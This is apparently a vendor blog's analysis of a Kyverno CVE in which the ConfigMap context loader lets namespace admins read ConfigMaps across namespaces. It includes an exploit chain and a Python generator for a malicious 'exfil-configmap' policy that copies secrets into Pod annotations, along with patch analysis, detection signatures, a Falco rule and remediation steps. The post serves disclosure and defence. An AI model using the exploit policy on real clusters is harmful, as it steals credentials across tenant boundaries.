home intel cve-2026-41068-kyverno-configmap-namespace-rbac-bypass
CVE Analysis 2026-04-24 · 9 min read

CVE-2026-41068: Kyverno ConfigMap Context Loader RBAC Bypass

Kyverno's ConfigMap context loader accepts arbitrary namespace values with zero validation, letting a namespace admin read ConfigMaps cluster-wide via Kyverno's privileged service account.

#privilege-escalation#rbac-bypass#cross-namespace-access#kyverno-policy-engine#configmap-disclosure
Technical mode — for security professionals
▶ Privilege escalation — CVE-2026-41068
USER SPACELow privilegeVULNERABILITYCVE-2026-41068 · CloudKERNEL / ROOTFull system accessNo confirmed exploits · HIGH

Vulnerability Overview

CVE-2026-41068 is a privilege escalation vulnerability in Kyverno's policy engine affecting multi-tenant Kubernetes clusters. The patch for CVE-2026-22039 addressed cross-namespace privilege escalation in the apiCall context entry by validating the URLPath field — but the fix was surgically narrow. The ConfigMap context loader (configMap context entry type) carries the identical design flaw: the configMap.namespace field is accepted verbatim from policy authors with no namespace boundary enforcement whatsoever.

In a multi-tenant cluster where namespace admins can create or modify Kyverno ClusterPolicy or Policy resources, an attacker-controlled namespace field causes Kyverno's own privileged service account — which has cluster-wide get on ConfigMaps — to fetch secrets from arbitrary namespaces and expose them as policy context variables. CVSS 7.7 (HIGH), no public exploitation observed as of publication.

Root cause: The ConfigMap context loader in Kyverno's policy engine passes the policy-author-supplied configMap.namespace field directly to a privileged Kubernetes API call without validating it against the requesting policy's own namespace, enabling a complete RBAC bypass via cross-namespace ConfigMap reads.

Affected Component

The vulnerable code lives in the context loader pipeline, specifically the configMapLoader within Kyverno's engine context package. The relevant path in the Kyverno source tree is pkg/engine/context/loaders/configmap.go (and its callers in pkg/engine/context/loaders/loader.go). The Kyverno service account used for these fetches typically holds a ClusterRole binding with broad ConfigMap read access across all namespaces — a necessary privilege for legitimate cross-namespace policy evaluation, but catastrophic when the namespace selector is attacker-controlled.

Affected: all versions prior to 1.17.2. Fixed: Kyverno 1.17.2 (GHSA-cvq5-hhx3-f99p).

Root Cause Analysis

The apiCall loader fix for CVE-2026-22039 added a validateURLPath() check. The ConfigMap loader was never updated to mirror this — it calls the Kubernetes client directly with the caller-supplied namespace string:

// pkg/engine/context/loaders/configmap.go
// Simplified Go pseudocode rendered as C-style for analysis clarity

typedef struct {
    char *name;       // configMap.name  — policy-author controlled
    char *namespace;  // configMap.namespace — BUG: never validated
} ConfigMapRef;

ConfigMapData* loadConfigMap(KubeClient *client, ConfigMapRef *ref, Policy *policy) {
    // BUG: ref->namespace is taken verbatim from the policy spec.
    // No check that ref->namespace == policy->namespace or
    // that the requesting principal has rights in ref->namespace.
    // The call is made under Kyverno's own ClusterRole, not the
    // policy author's RBAC identity.
    ConfigMap *cm = client->CoreV1()
                          ->ConfigMaps(ref->namespace)   // BUG: attacker-controlled namespace
                          ->Get(ctx, ref->name, GetOptions{});
    if (cm == NULL) return NULL;
    return buildContextData(cm);
}

Compare this to the patched apiCall loader, which introduced namespace scoping after CVE-2026-22039:

// pkg/engine/context/loaders/apicall.go (post CVE-2026-22039 patch)
int validateURLPath(char *urlPath, char *policyNamespace) {
    // Rejects paths that reference resources outside policyNamespace
    // e.g. /api/v1/namespaces//configmaps where X != policyNamespace
    if (crossNamespaceReference(urlPath, policyNamespace)) {
        return ERR_CROSS_NAMESPACE;  // enforced
    }
    return OK;
}

// configmap.go equivalent — THIS CHECK WAS NEVER ADDED:
int validateConfigMapNamespace(char *cmNamespace, char *policyNamespace) {
    // BUG: function does not exist. No analog to validateURLPath()
    // was implemented for the ConfigMap context loader.
}

The asymmetry is the vulnerability. Two sibling loaders, one guarded, one not. The fix for the first CVE created a false sense of completeness.

Exploitation Mechanics

Prerequisites: attacker has create or update on Policy or ClusterPolicy resources in at least one namespace. This is a realistic privilege in multi-tenant clusters where namespace admins self-manage policies.

EXPLOIT CHAIN:
1. Attacker (namespace admin in "tenant-evil") creates a Kyverno ClusterPolicy
   with a configMap context entry pointing to a target namespace:

   context:
   - name: stolenData
     configMap:
       name: aws-credentials          # target ConfigMap
       namespace: kube-system         # BUG: arbitrary namespace accepted

2. Policy rule references context variable: {{ stolenData.data.AWS_SECRET_KEY }}

3. Kyverno engine processes a matching admission request (easily triggered by
   creating any Pod in tenant-evil — attacker controls their own namespace).

4. configMapLoader calls:
     client.CoreV1().ConfigMaps("kube-system").Get(ctx, "aws-credentials", ...)
   using Kyverno's own service account (ClusterRole: configmaps get/list/watch).

5. ConfigMap data is loaded into policy evaluation context. Attacker causes
   the value to be reflected in a policy-generated annotation, label,
   mutating patch, or denial message — all of which are returned to the
   API caller in the AdmissionReview response or on the mutated object.

6. Attacker reads the secret value from the mutated object or event log.
   Full RBAC bypass: attacker never needed RBAC access to kube-system.

A minimal malicious policy demonstrating the read primitive:

# generate_exploit_policy.py
import yaml, sys

target_ns  = sys.argv[1]  # e.g. "kube-system"
target_cm  = sys.argv[2]  # e.g. "aws-credentials"
trigger_ns = sys.argv[3]  # namespace attacker controls, e.g. "tenant-evil"

policy = {
    "apiVersion": "kyverno.io/v1",
    "kind": "ClusterPolicy",
    "metadata": {"name": "exfil-configmap"},
    "spec": {
        "rules": [{
            "name": "exfil",
            "match": {"any": [{"resources": {
                "kinds": ["Pod"],
                "namespaces": [trigger_ns]
            }}]},
            "context": [{
                "name": "stolen",
                "configMap": {
                    "name": target_cm,
                    # BUG: this namespace is never validated
                    "namespace": target_ns
                }
            }],
            "mutate": {
                "patchStrategicMerge": {
                    "metadata": {
                        "annotations": {
                            # Reflects stolen data onto the object
                            "debug/exfil": "{{ stolen.data }}"
                        }
                    }
                }
            }
        }]
    }
}

print(yaml.dump(policy))

After applying the policy, the attacker creates any Pod in trigger_ns. The mutated Pod returned by the API server carries the ConfigMap contents in metadata.annotations["debug/exfil"]. No kube-system RBAC required.

Memory Layout

This is a logic/authorization vulnerability rather than a memory corruption bug, so the "memory" we care about is the Kubernetes authorization decision graph and the Kyverno context variable store. The following shows how context data flows from the privileged fetch into the policy evaluation scope:

KYVERNO CONTEXT VARIABLE STATE — during policy evaluation:

PolicyContext {
  policy:     "exfil-configmap"
  namespace:  "tenant-evil"          ← attacker's namespace
  resource:   Pod/tenant-evil/evil-pod

  context_entries: [
    ContextEntry {
      name:      "stolen"
      type:      ConfigMap
      source_ns: "kube-system"       ← BUG: crosses namespace boundary
      source_nm: "aws-credentials"   ← target secret

      // Fetched under Kyverno SA identity, NOT attacker identity:
      // ServiceAccount: kyverno / kyverno
      // ClusterRoleBinding: kyverno -> ClusterRole: kyverno
      //   rules: [{apiGroups:[""], resources:["configmaps"], verbs:["get","list","watch"]}]

      resolved_data: {               ← lands in JMESPath evaluation scope
        "AWS_ACCESS_KEY_ID":     "AKIAIOSFODNN7EXAMPLE",
        "AWS_SECRET_ACCESS_KEY": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
      }
    }
  ]
}

JMESPATH EVALUATION:
  expression: "{{ stolen.data.AWS_SECRET_ACCESS_KEY }}"
  result:     "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
  written to: Pod.metadata.annotations["debug/exfil"]
  visible to: attacker via kubectl get pod evil-pod -o yaml

Patch Analysis

The fix in Kyverno 1.17.2 mirrors what was done for apiCall — enforce that the configMap.namespace field does not escape the policy's own namespace when the policy is a namespaced Policy resource. For ClusterPolicy, the fix restricts which namespaces are reachable based on the matched resource namespace.

// BEFORE (vulnerable — pkg/engine/context/loaders/configmap.go):
ConfigMapData* loadConfigMap(KubeClient *client, ConfigMapRef *ref,
                              EvalContext *ctx) {
    // ref->namespace is directly from policy spec — no validation
    ConfigMap *cm = client->CoreV1()
                          ->ConfigMaps(ref->namespace)
                          ->Get(ctx, ref->name, GetOptions{});
    return buildContextData(cm);
}

// AFTER (patched — Kyverno 1.17.2):
ConfigMapData* loadConfigMap(KubeClient *client, ConfigMapRef *ref,
                              EvalContext *ctx, Policy *policy) {
    // For namespaced Policy resources: enforce namespace == policy namespace
    if (policy->kind == POLICY_NAMESPACED) {
        if (strcmp(ref->namespace, policy->namespace) != 0) {
            // BUG class eliminated: cross-namespace reads rejected
            logError("configMap.namespace '%s' not permitted for Policy in '%s'",
                     ref->namespace, policy->namespace);
            return ERR_CROSS_NAMESPACE;
        }
    }
    // For ClusterPolicy: enforce namespace == admission request resource namespace
    if (policy->kind == CLUSTER_POLICY) {
        char *allowedNS = ctx->admissionRequest->namespace;
        if (allowedNS != NULL && strcmp(ref->namespace, allowedNS) != 0) {
            logError("configMap.namespace '%s' not permitted; request namespace is '%s'",
                     ref->namespace, allowedNS);
            return ERR_CROSS_NAMESPACE;
        }
    }
    ConfigMap *cm = client->CoreV1()
                          ->ConfigMaps(ref->namespace)
                          ->Get(ctx, ref->name, GetOptions{});
    return buildContextData(cm);
}

The patch is structurally identical to the apiCall fix: gate the privileged fetch behind a namespace boundary check using the policy's own namespace (for Policy) or the admission request's resource namespace (for ClusterPolicy). The root issue — two sibling code paths with inconsistent security controls — is resolved by bringing the ConfigMap loader up to parity.

Detection and Indicators

Audit Kyverno audit logs and Kubernetes API server audit logs for the following patterns:

DETECTION SIGNATURES:

1. Kyverno SA performing cross-namespace ConfigMap reads:
   audit.log filter:
     user.username = "system:serviceaccount:kyverno:kyverno"
     verb          = "get"
     resource      = "configmaps"
     objectRef.namespace != [expected policy namespaces]

2. Policy spec review — flag any Policy/ClusterPolicy with:
   context[].configMap.namespace != metadata.namespace (for Policy)
   context[].configMap.namespace present at all (for review)

3. Suspicious annotation exfiltration pattern:
   Objects with annotations containing structured data (JSON/YAML)
   set by Kyverno mutating webhooks sourced from unexpected namespaces.

FALCO RULE (illustrative):
- rule: Kyverno cross-namespace configmap read
  desc: Kyverno SA reads ConfigMap outside its own namespace
  condition: >
    ka.user.name = "system:serviceaccount:kyverno:kyverno"
    and ka.verb = "get"
    and ka.target.resource = "configmaps"
    and ka.target.namespace != "kyverno"
  output: >
    Kyverno SA read ConfigMap in %ka.target.namespace%/%ka.target.name%
  priority: WARNING

Remediation

  • Upgrade immediately to Kyverno 1.17.2 or later. This is the only complete fix.
  • RBAC mitigation (partial): Restrict create/update on ClusterPolicy and Policy resources to trusted principals only. Namespace admins should not have write access to policy resources unless they are fully trusted. Note: this does not fix the vulnerability, it reduces attacker access to the vulnerable code path.
  • Audit existing policies: Before upgrading, enumerate all Policy and ClusterPolicy resources and inspect spec.rules[].context[].configMap.namespace. Any value that does not match the policy's own namespace should be treated as a potential indicator of exploitation or misconfiguration.
  • Admission control: Deploy a secondary validating webhook (OPA/Gatekeeper, or a custom webhook) that rejects Policy resources where context[].configMap.namespace crosses namespace boundaries — useful as a defense-in-depth layer during upgrade windows.
  • Monitor Kyverno SA activity: Enable Kubernetes API server audit logging at RequestResponse level for the kyverno service account and alert on ConfigMap reads outside the kyverno namespace until the upgrade is complete.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →